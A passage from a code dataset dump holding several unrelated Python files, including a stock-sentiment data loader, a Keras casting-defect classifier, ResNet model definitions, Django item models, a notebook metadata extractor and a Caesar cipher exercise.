'neutral_'+source]].div(grouped_df['count_'+source],0)\n\t# grouped_df.loc[:,grouped_df.columns!='count_'+source] = grouped_df.loc[:, grouped_df.columns!='count_'+source].div(grouped_df['count_'+source],0)\n\n\treturn grouped_df\n\n\ndef load_data(company, stock_path, reddit_path, twitter_path, year_list, return_cols):\n\t# print('\\n-- load_data -- ')\n\n\tfin_df = pd.DataFrame([])\n\n\tif stock_path != False:\n\t\tfor y in year_list:\n\t\t\tdf = pd.read_csv(stock_path + company+\"_\"+str(y)+'.csv')\n\t\t\tfin_df = fin_df.append(df)\n\n\t\tfin_df = fin_df.drop('Adj Close', 1)\n\t\tfin_df['Date'] = pd.to_datetime(fin_df['Date'])\n\t\tfin_df.set_index('Date', inplace=True)\n\n\t# adding financial dataframe to final_df, then we're gonna add twitter and reddit data to \n\t# final_df (if they exist)\n\tfinal_df = fin_df.copy()\n\n\n\t# adding reddit data\n\tif reddit_path != False:\n\t\treddit_df = pd.DataFrame([])\n\t\tcols = ['post_date','comment_num','prediction']\n\t\tfor y in year_list:\n\t\t\tdf = pd.read_csv(reddit_path + str(company) + \"_reddit_\" + str(y)+'.csv', usecols=cols)\n\t\t\treddit_df = reddit_df.append(df)\n\n\t\tgrouped_reddit_df = get_grouped_df('reddit', reddit_df)\n\t\tfinal_df = final_df.merge(grouped_reddit_df, \n\t\t\t\t\t\t\t\t\tleft_index=True, \n\t\t\t\t\t\t\t\t\tright_index=True, \n\t\t\t\t\t\t\t\t\thow='left')\n\n\t# adding twitter data\n\tif twitter_path != False:\n\t\ttwitter_df = pd.DataFrame([])\n\t\tcols = [ 'post_date','comment_num', 'retweet_num', 'like_num', 'prediction']\n\t\tfor y in year_list:\n\t\t\tdf = pd.read_csv(twitter_path + str(company) +\"_tweets_\" + str(y)+'.csv', usecols=cols)\n\t\t\ttwitter_df = twitter_df.append(df)\n\t\t\n\t\tgrouped_twitter_df = get_grouped_df('twitter', twitter_df)\n\t\tfinal_df = final_df.merge(grouped_twitter_df, \n\t\t\t\t\t\t\t\t\tleft_index=True, \n\t\t\t\t\t\t\t\t\tright_index=True, \n\t\t\t\t\t\t\t\t\thow='left')\n\n\t# fillna with 0\n\tfinal_df.fillna(0, inplace=True)\n\tif len(return_cols) == 0:\n\t\treturn_cols = final_df.columns\n\n\n\treturn final_df.index.tolist(), final_df[return_cols].to_numpy()\n\n# if __name__ == '__main__':\n# \tprint(load_data(\"TSLA\", \"stock_data/tesla/\", \"reddit/TSLA/\",\"twitter/TSLA/\", [2015,2016,2017,2018], []))\n\n\n\n","repo_name":"rohitgajawada/Stock-Price-Prediction-Visualization","sub_path":"backend/data_proc.py","file_name":"data_proc.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"}
+{"seq_id":"71561121043","text":"path = 'A'\n# path = 'sample'\n\nwith open(path) as f:\n    l = [s.strip() for s in f.readlines()]\nans = []\nfor i in range(len(l)):\n    if i%2 == 0:\n        n = l[i]\n    else:\n        a = list(map(int, l[i].split()))\n        print(a)\n        cnt = 0\n        for j in range(1, len(a)-1):\n            if a[j] > a[j+1] and a[j] > a[j-1]:\n                cnt += 1\n        print(cnt)\n        ans.append(str(cnt))\nprint(ans)\npath_w = 'A.answer'\nwith open(path_w, mode='w') as f:\n    f.write('\\n'.join(ans))\n","repo_name":"dakkenkd/AtCoder","sub_path":"icpc/A_k.py","file_name":"A_k.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17957095736","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 28 12:07:45 2023\n\n@author: avery\n\"\"\"\n# Libraries \nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nimport os \nfrom tensorflow.keras.models import Sequential, load_model\nfrom tensorflow.keras.layers import Activation, Dropout, Flatten, Dense, Conv2D, MaxPooling2D\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom tensorflow.keras.utils import plot_model\nfrom tensorflow.keras import backend\nfrom sklearn.metrics import confusion_matrix, classification_report\nimport holoviews as hv\nfrom holoviews import opts\nhv.extension('bokeh')\nimport json\nimport pandas as pd\n\n\n\n# Data Paths\npartial_path = \"images/casting_data/casting_data/\"\ntrain_path = partial_path + 'train/'\ntest_path = partial_path + 'test/'\n\n\n# Image prep \nimage_gen = ImageDataGenerator(rescale=1/255, \n                               zoom_range=0.1, \n                               brightness_range=[0.9,1.0])\n\nimage_shape = (512,512,1) \nbatch_size = 32\n\ntrain_set = image_gen.flow_from_directory(train_path,\n                                            target_size=image_shape[:2],\n                                            color_mode=\"grayscale\",\n                                            classes={'def_front': 0, 'ok_front': 1},\n                                            batch_size=batch_size,\n                                            class_mode='binary',\n                                            shuffle=True,\n                                            seed=0)\n\ntest_set = image_gen.flow_from_directory(test_path,\n                                           target_size=image_shape[:2],\n                                           color_mode=\"grayscale\",\n                                           classes={'def_front': 0, 'ok_front': 1},\n                                           batch_size=batch_size,\n                                           class_mode='binary',\n                                           shuffle=False,\n                                           seed=0)\n\n\n# Create the model \nbackend.clear_session()\nmodel = Sequential()\nmodel.add(Conv2D(filters=16, kernel_size=(7,7), strides=2, input_shape=image_shape, activation='relu', padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=2))\nmodel.add(Conv2D(filters=32, kernel_size=(3,3), strides=1, input_shape=image_shape, activation='relu', padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=2))\nmodel.add(Conv2D(filters=64, kernel_size=(3,3), strides=1, input_shape=image_shape, activation='relu', padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=2))\nmodel.add(Flatten())\nmodel.add(Dense(units=224, activation='relu'))\nmodel.add(Dropout(rate=0.2))\nmodel.add(Dense(units=1, activation='sigmoid'))\nmodel.compile(loss='binary_crossentropy',\n              optimizer='adam',\n              metrics=['accuracy'])\nmodel.summary()\n\nmodel_save_path = 'casting_product_detection.hdf5'\nearly_stop = EarlyStopping(monitor='val_loss',patience=2)\ncheckpoint = ModelCheckpoint(filepath=model_save_path, verbose=1, save_best_only=True, monitor='val_loss')\n\n\nn_epochs = 3\nresults = model.fit_generator(train_set, epochs=n_epochs, validation_data=test_set, callbacks=[early_stop,checkpoint])\n\n\nmodel_history = { i:list(map(lambda x: float(x), j)) for i,j in results.history.items() }\nwith open('model_history.json', 'w') as f:\n    json.dump(model_history, f, indent=4)\n    \nlosses = pd.DataFrame(model_history)\nlosses.index = map(lambda x : x+1, losses.index)\nlosses.head(3)\n\ng = hv.Curve(losses.loss, label='Training Loss') * hv.Curve(losses.val_loss, label='Validation Loss') \\\n    * hv.Curve(losses.accuracy, label='Training Accuracy') * hv.Curve(losses.val_accuracy, label='Validation Accuracy')\ng.opts(opts.Curve(xlabel=\"Epochs\", ylabel=\"Loss / Accuracy\", width=700, height=400,tools=['hover'],show_grid=True,title='Model Evaluation')).opts(legend_position='bottom')","repo_name":"AveryData/hp-widget-classifier","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"26730022230","text":"try:\n    numerator = int(input(\"Enter the numerator: \"))\n    denominator = int(input(\"Enter the denominator: \"))\n    fraction = numerator / denominator\n    print(fraction)\nexcept ValueError:\n    print(\"Numerator and denominator must be valid numbers!\")\nexcept ZeroDivisionError:\n    print(\"Cannot divide by zero!\")\nprint(\"Finished.\")\n\n# Answer 1\n# when input no the integor\n# Answer 2\n# When I enter a 0 into denominator\n# Answer 3\n# I think you want me to make the function continue instead of finishing it","repo_name":"Lijiayi2/cp1404-practicals","sub_path":"prac_03/exceptions_demo.py","file_name":"exceptions_demo.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7177644340","text":"# -*- coding: utf-8 -*-\nimport math\nimport torch.nn as nn\n\n\n__all__ = [\"resnet\"]\n\n\ndef conv3x3(in_planes, out_planes, stride=1):\n    \"3x3 convolution with padding.\"\n    return nn.Conv2d(\n        in_channels=in_planes,\n        out_channels=out_planes,\n        kernel_size=3,\n        stride=stride,\n        padding=1,\n        bias=False,\n    )\n\n\ndef norm2d(group_norm_num_groups, planes):\n    if group_norm_num_groups is not None and group_norm_num_groups > 0:\n        # group_norm_num_groups == planes -> InstanceNorm\n        # group_norm_num_groups == 1 -> LayerNorm\n        return nn.GroupNorm(group_norm_num_groups, planes)\n    else:\n        return nn.BatchNorm2d(planes)\n\n\nclass BasicBlock(nn.Module):\n    \"\"\"\n    [3 * 3, 64]\n    [3 * 3, 64]\n    \"\"\"\n\n    expansion = 1\n\n    def __init__(\n        self,\n        in_planes,\n        out_planes,\n        stride=1,\n        downsample=None,\n        group_norm_num_groups=None,\n    ):\n        super(BasicBlock, self).__init__()\n        self.conv1 = conv3x3(in_planes, out_planes, stride)\n        self.bn1 = norm2d(group_norm_num_groups, planes=out_planes)\n        self.relu = nn.ReLU(inplace=True)\n\n        self.conv2 = conv3x3(out_planes, out_planes)\n        self.bn2 = norm2d(group_norm_num_groups, planes=out_planes)\n\n        self.downsample = downsample\n        self.stride = stride\n\n    def forward(self, x):\n        residual = x\n\n        out = self.conv1(x)\n        out = self.bn1(out)\n        out = self.relu(out)\n\n        out = self.conv2(out)\n        out = self.bn2(out)\n\n        if self.downsample is not None:\n            residual = self.downsample(x)\n\n        out += residual\n        out = self.relu(out)\n\n        return out\n\n\nclass Bottleneck(nn.Module):\n    \"\"\"\n    [1 * 1, x]\n    [3 * 3, x]\n    [1 * 1, x * 4]\n    \"\"\"\n\n    expansion = 4\n\n    def __init__(\n        self,\n        in_planes,\n        out_planes,\n        stride=1,\n        downsample=None,\n        group_norm_num_groups=None,\n    ):\n        super(Bottleneck, self).__init__()\n        self.conv1 = nn.Conv2d(\n            in_channels=in_planes, out_channels=out_planes, kernel_size=1, bias=False\n        )\n        self.bn1 = norm2d(group_norm_num_groups, planes=out_planes)\n\n        self.conv2 = nn.Conv2d(\n            in_channels=out_planes,\n            out_channels=out_planes,\n            kernel_size=3,\n            stride=stride,\n            padding=1,\n            bias=False,\n        )\n        self.bn2 = norm2d(group_norm_num_groups, planes=out_planes)\n\n        self.conv3 = nn.Conv2d(\n            in_channels=out_planes,\n            out_channels=out_planes * 4,\n            kernel_size=1,\n            bias=False,\n        )\n        self.bn3 = norm2d(group_norm_num_groups, planes=out_planes * 4)\n        self.relu = nn.ReLU(inplace=True)\n\n        self.downsample = downsample\n        self.stride = stride\n\n    def forward(self, x):\n        residual = x\n\n        out = self.conv1(x)\n        out = self.bn1(out)\n        out = self.relu(out)\n\n        out = self.conv2(out)\n        out = self.bn2(out)\n        out = self.relu(out)\n\n        out = self.conv3(out)\n        out = self.bn3(out)\n\n        if self.downsample is not None:\n            residual = self.downsample(x)\n\n        out += residual\n        out = self.relu(out)\n\n        return out\n\n\nclass ResNetBase(nn.Module):\n    def _decide_num_classes(self):\n        if self.dataset == \"cifar10\" or self.dataset == \"svhn\":\n            return 10\n        elif self.dataset == \"cifar100\":\n            return 100\n        elif \"imagenet\" in self.dataset:\n            return 1000\n        elif \"femnist\" == self.dataset:\n            return 62\n\n    def _weight_initialization(self):\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n                m.weight.data.normal_(0, math.sqrt(2.0 / n))\n            elif isinstance(m, nn.BatchNorm2d):\n                m.weight.data.fill_(1)\n                m.bias.data.zero_()\n            # elif isinstance(m, nn.Linear):\n            #     m.weight.data.normal_(mean=0, std=0.01)\n            #     m.bias.data.zero_()\n\n    def _make_block(\n        self, block_fn, planes, block_num, stride=1, group_norm_num_groups=None\n    ):\n        downsample = None\n        if stride != 1 or self.inplanes != planes * block_fn.expansion:\n            downsample = nn.Sequential(\n                nn.Conv2d(\n                    self.inplanes,\n                    planes * block_fn.expansion,\n                    kernel_size=1,\n                    stride=stride,\n                    bias=False,\n                ),\n                norm2d(group_norm_num_groups, planes=planes * block_fn.expansion),\n            )\n\n        layers = []\n        layers.append(\n            block_fn(\n                in_planes=self.inplanes,\n                out_planes=planes,\n                stride=stride,\n                downsample=downsample,\n                group_norm_num_groups=group_norm_num_groups,\n            )\n        )\n        self.inplanes = planes * block_fn.expansion\n\n        for _ in range(1, block_num):\n            layers.append(\n                block_fn(\n                    in_planes=self.inplanes,\n                    out_planes=planes,\n                    group_norm_num_groups=group_norm_num_groups,\n                )\n            )\n        return nn.Sequential(*layers)\n\n    def train(self, mode=True):\n        super(ResNetBase, self).train(mode)\n\n        if self.freeze_bn:\n            for m in self.modules():\n                if isinstance(m, nn.BatchNorm2d):\n                    m.eval()\n                    if self.freeze_bn_affine:\n                        m.weight.requires_grad = False\n                        m.bias.requires_grad = False\n\n\nclass ResNet_imagenet(ResNetBase):\n    def __init__(\n        self,\n        dataset,\n        resnet_size,\n        group_norm_num_groups=None,\n        freeze_bn=False,\n        freeze_bn_affine=False,\n    ):\n        super(ResNet_imagenet, self).__init__()\n        self.dataset = dataset\n        self.freeze_bn = freeze_bn\n        self.freeze_bn_affine = freeze_bn_affine\n\n        # define model param.\n        model_params = {\n            18: {\"block\": BasicBlock, \"layers\": [2, 2, 2, 2]},\n            34: {\"block\": BasicBlock, \"layers\": [3, 4, 6, 3]},\n            50: {\"block\": Bottleneck, \"layers\": [3, 4, 6, 3]},\n            101: {\"block\": Bottleneck, \"layers\": [3, 4, 23, 3]},\n            152: {\"block\": Bottleneck, \"layers\": [3, 8, 36, 3]},\n        }\n        block_fn = model_params[resnet_size][\"block\"]\n        block_nums = model_params[resnet_size][\"layers\"]\n\n        # decide the num of classes.\n        self.num_classes = self._decide_num_classes()\n\n        # define layers.\n        self.inplanes = 64\n        self.conv1 = nn.Conv2d(\n            in_channels=3,\n            out_channels=64,\n            kernel_size=7,\n            stride=2,\n            padding=3,\n            bias=False,\n        )\n        self.bn1 = norm2d(group_norm_num_groups, planes=64)\n        self.relu = nn.ReLU(inplace=True)\n\n        self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n\n        self.layer1 = self._make_block(\n            block_fn=block_fn,\n            planes=64,\n            block_num=block_nums[0],\n            group_norm_num_groups=group_norm_num_groups,\n        )\n        self.layer2 = self._make_block(\n            block_fn=block_fn,\n            planes=128,\n            block_num=block_nums[1],\n            stride=2,\n            group_norm_num_groups=group_norm_num_groups,\n        )\n        self.layer3 = self._make_block(\n            block_fn=block_fn,\n            planes=256,\n            block_num=block_nums[2],\n            stride=2,\n            group_norm_num_groups=group_norm_num_groups,\n        )\n        self.layer4 = self._make_block(\n            block_fn=block_fn,\n            planes=512,\n            block_num=block_nums[3],\n            stride=2,\n            group_norm_num_groups=group_norm_num_groups,\n        )\n\n        self.avgpool = nn.AvgPool2d(kernel_size=7, stride=1)\n        self.classifier = nn.Linear(\n            in_features=512 * block_fn.expansion, out_features=self.num_classes\n        )\n\n        # weight initialization based on layer type.\n        self._weight_initialization()\n        self.train()\n\n    def forward(self, x):\n        x = self.conv1(x)\n        x = self.bn1(x)\n        x = self.relu(x)\n\n        x = self.maxpool(x)\n        x = self.layer1(x)\n        x = self.layer2(x)\n        x = self.layer3(x)\n        x = self.layer4(x)\n\n        x = self.avgpool(x)\n        x = x.view(x.size(0), -1)\n        x = self.classifier(x)\n        return x\n\n\nclass ResNet_cifar(ResNetBase):\n    def __init__(\n        self,\n        dataset,\n        resnet_size,\n        scaling=1,\n        save_activations=False,\n        group_norm_num_groups=None,\n        freeze_bn=False,\n        freeze_bn_affine=False,\n    ):\n        super(ResNet_cifar, self).__init__()\n        self.dataset = dataset\n        self.freeze_bn = freeze_bn\n        self.freeze_bn_affine = freeze_bn_affine\n\n        # define model.\n        if resnet_size % 6 != 2:\n            raise ValueError(\"resnet_size must be 6n + 2:\", resnet_size)\n        block_nums = (resnet_size - 2) // 6\n        block_fn = Bottleneck if resnet_size >= 44 else BasicBlock\n\n        # decide the num of classes.\n        self.num_classes = self._decide_num_classes()\n\n        # define layers.\n        assert int(16 * scaling) > 0\n        self.inplanes = int(16 * scaling)\n        self.conv1 = nn.Conv2d(\n            in_channels=3,\n            out_channels=(16 * scaling),\n            kernel_size=3,\n            stride=1,\n            padding=1,\n            bias=False,\n        )\n        self.bn1 = norm2d(group_norm_num_groups, planes=int(16 * scaling))\n        self.relu = nn.ReLU(inplace=True)\n\n        self.layer1 = self._make_block(\n            block_fn=block_fn,\n            planes=int(16 * scaling),\n            block_num=block_nums,\n            group_norm_num_groups=group_norm_num_groups,\n        )\n        self.layer2 = self._make_block(\n            block_fn=block_fn,\n            planes=int(32 * scaling),\n            block_num=block_nums,\n            stride=2,\n            group_norm_num_groups=group_norm_num_groups,\n        )\n        self.layer3 = self._make_block(\n            block_fn=block_fn,\n            planes=int(64 * scaling),\n            block_num=block_nums,\n            stride=2,\n            group_norm_num_groups=group_norm_num_groups,\n        )\n\n        self.avgpool = nn.AvgPool2d(kernel_size=8)\n        self.classifier = nn.Linear(\n            in_features=int(64 * scaling * block_fn.expansion),\n            out_features=self.num_classes,\n        )\n\n        # weight initialization based on layer type.\n        self._weight_initialization()\n\n        # a placeholder for activations in the intermediate layers.\n        self.save_activations = save_activations\n        self.activations = None\n\n    def forward(self, x):\n        x = self.conv1(x)\n        x = self.bn1(x)\n        x = self.relu(x)\n\n        x = self.layer1(x)\n        activation1 = x\n        x = self.layer2(x)\n        activation2 = x\n        x = self.layer3(x)\n        activation3 = x\n        x = self.avgpool(x)\n        x = x.view(x.size(0), -1)\n        x = self.classifier(x)\n\n        if self.save_activations:\n            self.activations = [activation1, activation2, activation3]\n        return x\n\n\ndef resnet(conf, arch=None):\n    resnet_size = int((arch if arch is not None else conf.arch).replace(\"resnet\", \"\"))\n    dataset = conf.data\n\n    if \"cifar\" in conf.data or \"svhn\" in conf.data:\n        model = ResNet_cifar(\n            dataset=dataset,\n            resnet_size=resnet_size,\n            freeze_bn=conf.freeze_bn,\n            freeze_bn_affine=conf.freeze_bn_affine,\n            group_norm_num_groups=conf.group_norm_num_groups,\n        )\n    elif \"imagenet\" in dataset:\n        if (\n            \"imagenet\" in conf.data and len(conf.data) > 8\n        ):  # i.e., downsampled imagenet with different resolution.\n            model = ResNet_cifar(\n                dataset=dataset,\n                resnet_size=resnet_size,\n                scaling=4,\n                group_norm_num_groups=conf.group_norm_num_groups,\n                freeze_bn=conf.freeze_bn,\n                freeze_bn_affine=conf.freeze_bn_affine,\n            )\n        else:\n            model = ResNet_imagenet(\n                dataset=dataset,\n                resnet_size=resnet_size,\n                group_norm_num_groups=conf.group_norm_num_groups,\n                freeze_bn=conf.freeze_bn,\n                freeze_bn_affine=conf.freeze_bn_affine,\n            )\n    else:\n        raise NotImplementedError\n    return model\n\n\nif __name__ == \"__main__\":\n    import torch\n\n    print(\"cifar10\")\n    net = ResNet_cifar(\n        dataset=\"cifar10\",\n        resnet_size=20,\n        group_norm_num_groups=2,\n        freeze_bn=True,\n        freeze_bn_affine=True,\n    )\n    print(net)\n    x = torch.randn(1, 3, 32, 32)\n    y = net(x)\n    print(y.shape)\n\n    # print(\"imagenet\")\n    # net = ResNet_imagenet(\n    #     dataset=\"imagenet\", resnet_size=50, group_norm_num_groups=None\n    # )\n    # print(net)\n    # x = torch.randn(1, 3, 224, 224)\n    # y = net(x)\n    # print(y.shape)\n","repo_name":"epfml/federated-learning-public-code","sub_path":"codes/FedDF-code/pcode/models/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":13250,"program_lang":"python","lang":"en","doc_type":"code","stars":144,"dataset":"github-code","pt":"3"}
+{"seq_id":"11153606753","text":"from django.db import models\nfrom polymorphic.models import PolymorphicModel\nfrom rest_framework.fields import SerializerMethodField\nfrom rest_framework.generics import UpdateAPIView\n\nfrom base_models.non_polymorphic_cascade import NON_POLYMORPHIC_CASCADE\nfrom base_models.base_view_classes.api import GetOrCreateView\nfrom base_models.generate_serializer_mixin import GenerateSerializerMixin\nfrom base_models.unique_together_mixin import UniqueTogetherMixin\nfrom core.models import Sku, UniqueID, WorkOrder\n\n\nclass AnyItem(GenerateSerializerMixin, PolymorphicModel):\n    \"\"\"\n    A base class for SingleItem and BulkItem.\n\n    A class inheriting from AnyItem represents one or more \"types\" of item - for instance, we could have\n    a Heater class, a V6HotEnd class, and so on. An instance of the (sub)class then represents one or more of these\n    items being processed through the production facility. There's no requirement to make specific item classes\n    unless custom functionality is needed.\n\n    Intended for use as a ForeignKey target. It's useful for a BulkItem to not be a SingleItem and vice versa,\n    but we still want them to be part of the same class hierarchy so they can be linked from Events and other models.\n\n    When creating new items, inherit from SingleItem or BulkItem rather than this one.\n\n    Provides the following fields:\n      * sku - All items must have a SKU, so that we can track their stock as well as production progress.\n    \"\"\"\n    sku = models.ForeignKey(Sku, related_name=\"items\", on_delete=NON_POLYMORPHIC_CASCADE)\n\n    def __str__(self):\n        return F\"Item of SKU {self.sku}\"\n\n    def is_bulk(self):\n        \"\"\"Convenience method to distinguish between BulkItem and SingleItem instances.\"\"\"\n        raise NotImplementedError\n\n    @classmethod\n    def generate_lookup_view(cls):\n        \"\"\"Return an API view that can look up this item, creating it if it doesn't exist.\"\"\"\n        raise NotImplementedError\n\n    @classmethod\n    def generate_update_view(cls):\n        \"\"\"Return an API view that can edit this item.\"\"\"\n        raise NotImplementedError\n\n\n\nclass BulkItem(UniqueTogetherMixin, AnyItem):\n    \"\"\"\n    Represents a group of items that are processed together as part of the same work order. We don't attach\n    barcodes to small elements like heaters or sensors; their QC results are only tracked in aggregate.\n\n    Provides the following fields:\n      * work_order - All items are processed as part of a work order. In theory, an item can be part of\n        multiple work orders - for instance, it might go through assembly again after a product recall or a failed\n        QC stage. However, the anonymous items in a BulkItem can't be tracked this way.\n    \"\"\"\n    work_order = models.ForeignKey(WorkOrder, related_name=\"bulk_items\", on_delete=NON_POLYMORPHIC_CASCADE)\n\n    _unique_together = (\n        (\"work_order\", \"sku\"),\n    )\n\n    def __str__(self):\n        return F\"Bulk {self.sku} (work order {self.work_order})\"\n\n    def is_bulk(self):\n        return True\n\n\n    @classmethod\n    def generate_serializer_class(cls, *, fields=\"__all__\", exclude=None):\n        \"\"\"When looking up BulkItems, include a value counting how many have already been successfully processed.\"\"\"\n        BaseClass = super().generate_serializer_class(fields=fields, exclude=exclude)\n\n        class BasicSerializer(BaseClass):\n            quantity_succeeded = SerializerMethodField()\n\n            def get_quantity_succeeded(self, obj):\n                return obj.events.filter(failed=False, completed=True).count()\n\n        return BasicSerializer\n\n\n    @classmethod\n    def generate_lookup_view(cls):\n        \"\"\"\n        Return a view that accepts a POST request with at least a `sku` and `WorkOrder`, and returns a BulkItem.\n        Extra data supplied by the POST request is passed to get_or_create as a set of defaults.\n        \"\"\"\n        class GetOrCreate(GetOrCreateView):\n            model = cls\n            identity_fields = [\"work_order\", \"sku\"]\n\n        return GetOrCreate\n\n\n    @classmethod\n    def generate_update_view(cls):\n        \"\"\"Return a basic PUT view that can be used to update an item.\"\"\"\n        class Update(UpdateAPIView):\n            lookup_url_kwarg = \"pk\"\n            queryset = cls.objects.all()\n            serializer_class = cls.generate_serializer_class(exclude=[\"work_order\", \"sku\"])\n\n        return Update\n\n\nclass SingleItem(AnyItem):\n    \"\"\"\n    Represents one individual, identifiable part, such as a hotend with a barcode.\n\n    Larger items like hotends are given some kind of identifier - this might be an engraved serial number,\n    a barcode, a QR code, or some other new addition to the system. Tracking these unique IDs allows us to\n    trace the progress of individual items through the production system.\n\n    Provides the following fields:\n      * uid - This item's unique ID code. It can be represented on the object itself in a variety of ways,\n        but they all boil down to a basic ID code. The UID is a OneToOneField because IDs have their own table -\n        we need to generate them and ensure they're unique before they're applied to an item.\n      * from_bulk - When an item undergoes production stages anonymously, it's recorded as part of a BulkItem.\n        If it then gains a UID and becomes a SingleItem, from_bulk can link it back to the original BulkItem.\n      * contains - Items can be made up of other items. Heaters and sensors are added to nozzles; nubes\n        become part of HeaterCore or V7 hotends. Note that `contains` is a ManyToMany rather than a `parent` FK\n        because BulkItems can become part of a large number of SingleItems.\n    \"\"\"\n    uid = models.OneToOneField(UniqueID, related_name=\"item\", on_delete=NON_POLYMORPHIC_CASCADE)\n    from_bulk = models.ForeignKey(\n        BulkItem,\n        related_name=\"singles_produced\",\n        null=True,\n        blank=True,\n        on_delete=models.SET_NULL\n    )\n    contains = models.ManyToManyField(AnyItem, related_name=\"part_of\", blank=True)\n\n    def __str__(self):\n        return F\"Single {self.sku} (UID {self.uid})\"\n\n    def is_bulk(self):\n        return False\n\n\n    @classmethod\n    def generate_lookup_view(cls):\n        \"\"\"\n        Return a view that accepts a POST request with at least a `uid`, and returns a SingleItem.\n        Extra data supplied by the POST request is passed to get_or_create as a set of defaults.\n        \"\"\"\n        class GetOrCreate(GetOrCreateView):\n            model = cls\n            identity_fields = [\"uid\", \"sku\"]\n            exclude = [\"contains\"]\n\n        return GetOrCreate\n\n\n    @classmethod\n    def generate_update_view(cls):\n        \"\"\"\n        Return a basic PUT view that can be used to update an item's from_bulk or contains.\n        This is because `contains`, as a ManyToManyField, can't be set before an item has been saved to the database,\n        making it unsuitable for a GetOrCreate operation. We also expect items to mostly be created and then assembled\n        together later.\n        \"\"\"\n        class Update(UpdateAPIView):\n            lookup_url_kwarg = \"pk\"\n            queryset = cls.objects.all()\n            serializer_class = cls.generate_serializer_class(exclude=[\"uid\", \"sku\"])\n\n        return Update\n","repo_name":"DelroyBrown/hotend-site","sub_path":"base_models/models/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":7231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73994520401","text":"#FILE   : media.py\r\n#CREATOR: Dennis Johns\r\n#CLASS  : Full Stack Web Developer\r\n#PROJECT: Movie Trailer Website\r\n\r\nimport webbrowser\r\n\r\n#Class definition for Movie()\r\n#Contains the title of the movie, a movie storyline,\r\n#a link to the movie poster, and a line to the movie trailer\r\nclass Movie():\r\n    def __init__(self, movie_title, movie_storyline, poster_image, trailer_youtube, movie_lead_actors):\r\n\r\n        self.title = movie_title\r\n        self.storyline = movie_storyline\r\n        self.poster_image_url = poster_image\r\n        self.trailer_youtube_url = trailer_youtube\r\n        self.lead_actors = movie_lead_actors\r\n        \r\n    def show_trailer(self):\r\n        webbrowser.open(self.trailer_youtube_url)\r\n        \r\n","repo_name":"HoosierCoder/Movie-Trailer-Website-Project","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26023383373","text":"import json\nimport os\nimport typing\n\nfrom nbcollection.ci.constants import ENCODING\nfrom nbcollection.ci.exceptions import MetadataExtractionError\nfrom nbcollection.ci.datatypes import NotebookContext\n\n\ndef reset_notebook_execution(notebook_data: typing.Dict[str, typing.Any]) -> None:\n    for cell in notebook_data['cells']:\n        if cell['cell_type'] == 'code':\n            cell['outputs'] = []\n            cell['execution_count'] = None\n\n\ndef extract_metadata(notebook: NotebookContext) -> None:\n    details = {key: None for key in ['title', 'description']}\n    with open(notebook.path, 'rb') as stream:\n        notebook_data = json.loads(stream.read().decode(ENCODING))\n        for idx, cell in enumerate(notebook_data['cells']):\n            if idx == 0:\n                if not cell['cell_type'] in ['markdown']:\n                    raise MetadataExtractionError(f'Unable to parse Title Cell from Notebook[{notebook.name}]')\n\n                cell_rest = []\n                for line_idx, line_item in enumerate(cell['source']):\n                    if line_item.strip().startswith('#') and details['title'] is None and line_idx == 0:\n                        details['title'] = line_item.strip('# \\n')\n                        continue\n\n                    cell_rest.append(line_item.strip(' \\n'))\n\n                details['description'] = '\\n'.join(cell_rest)\n                details['description'] = details['description'].strip('\\n')\n                continue\n\n            if idx == 1 and cell['cell_type'] in ['markdown']:\n                details['description'] = ' '.join(cell['source'])\n                details['description'] = details['description'].strip('\\n')\n\n    dirpath = os.path.dirname(notebook.metadata.path)\n    if not os.path.exists(dirpath):\n        os.makedirs(dirpath)\n\n    with open(notebook.metadata.path, 'wb') as stream:\n        stream.write(json.dumps(details, indent=2).encode(ENCODING))\n","repo_name":"spacetelescope/nbcollection","sub_path":"nbcollection/ci/metadata/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17698610854","text":"import string\nfrom art import logo\n\nalphabet = list(string.ascii_lowercase)\n\ndef caesar(text, shift, direction):\n    result_text = \"\"\n    for letter in text:\n        if letter in alphabet:\n            pos = alphabet.index(letter)\n            if direction == \"encode\":\n                shifted_pos = (pos + shift) % len(alphabet)\n            else:\n                shifted_pos = (pos - shift) % len(alphabet)\n            result_text += alphabet[shifted_pos]\n        else:\n            result_text += letter\n\n    print(f\"The {direction}d text is {result_text}\")\n\nprint(logo)\nrun_again = True\n\nwhile run_again:\n    direction = input(\"Type 'encode' to encrypt, type 'decode' to decrypt:\\n\")\n    text = input(\"Type your message:\\n\").lower()\n    shift = int(input(\"Type your shift number:\\n\"))\n    caesar(text, shift, direction)\n    to_run_again = input(\"Type 'yes' if you want to go again. Otherwise type 'no'.\\n\")\n    if to_run_again == 'yes':\n        run_again = True\n    else:\n        run_again = False\n        